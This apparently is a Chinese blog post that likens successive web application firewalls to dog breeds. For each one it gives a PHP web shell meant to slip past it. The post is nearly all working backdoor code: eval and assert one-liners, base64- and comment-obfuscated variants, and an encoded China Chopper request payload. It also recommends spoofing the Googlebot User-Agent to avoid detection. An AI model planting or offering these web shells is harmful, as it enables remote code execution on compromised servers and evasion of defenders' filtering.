聊聊那些年斗过的狗(WAF)

随着web安全的重视,各种waf层出不穷,从:编码->转义->变形->加密->加密变形->参数变形
那就先从原始的开始:

    <?php eval($_POST['posha']);?>

一代狗-哈士奇

个头挺大,不咬人;

    <?php eval ($\_REQUEST ['c'] ) ?>

二代狗-拉布拉多

看着挺憨厚,跟主人打打闹闹,也没啥事

    mb_ereg_replace("",str_replace(',','va','e,l($_REQ'.$C.'UEST[c])'),"","e");
    她其实是个表达式 插入到php里
    其实还是:eval($\_Requst[c]);

三代狗-金毛

老东西玩久了,就没太多新鲜劲了;

    <?php assert($_POST[c]);?>
    

四代狗-阿拉斯加

这家确实会咬人啊,温柔对待,还是蛮可以的

    [email protected](base64_decode($_POST[c]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7ZWNobyAkRC4iXHQiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkEiLCJaIikgYXMgJEwpaWYoaXNfZGlyKCRMLiI6IikpZWNobygkTC4iOiIpO307ZWNobygifDwtIik7ZGllKCk7
    

五代狗-中华田园犬

管你咋滴,先咬着

<?php
@$_="s"."s"./*-/*-*/"e"./*-/*-*/"r";@$_=/*-/*-*/"a"./*-/*-*/$_./*-/*-*/"t";@$_/*-/*-*/($/*-/*-*/{"_P"./*-/*-*/"OS"./*-/*-*/"T"}[/*-/*-*/0/*-/*-*/-/*-/*-*/2/*-/*-*/-/*-/*-*/5/*-/*-*/]); // 密码-7?>

六代狗-牛头梗

虽然好斗,死咬不放口,续续前行,还是安全滴;

$str=base64\_decode(base64\_encode($\_POST['a']));  
$str1=mb\_convert\_encoding($str, "GBK");  
@eval($str1);

七代狗-狩猎犬

捍卫领土意识比较强,看羊之前,得换身衣服,喷点羊味;

$tmp = @$\_POST['z'];  
if($tmp!="")  
{  
$xsser = base64\_decode($\_POST['z0']);  
@eval("\\$safedg = $xsser;");  
}

这种也要对菜刀进行发包改进
所有后来就有了Hatchet的流行 他可以自定义菜刀发包的内容 比如这样:

注意看:PHP_POST_DATA==z0=
这里 去掉了 原始菜刀的:base64_decode($_POST['z0'])
而且支持更多加密变形

八代狗-牧羊犬

是狼是羊,整个羊群,他也会看不全

$jg16 = base64\_decode;  
$z = $jg16(YXNzZXJ0);  
$z($\_POST[q]);

最后总结

真的想去看羊群,记得戴顶草原帽子,帽子推荐:

Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) 谷歌爬虫的.
思路来源:https://zhuanlan.zhihu.com/p/25827469?utm_source=qq&utm_medium=social

本文由 秋边丶 创作,采用 知识共享署名 3.0,可自由转载、引用,但需署名作者且注明文章出处。

还不快抢沙发

添加新评论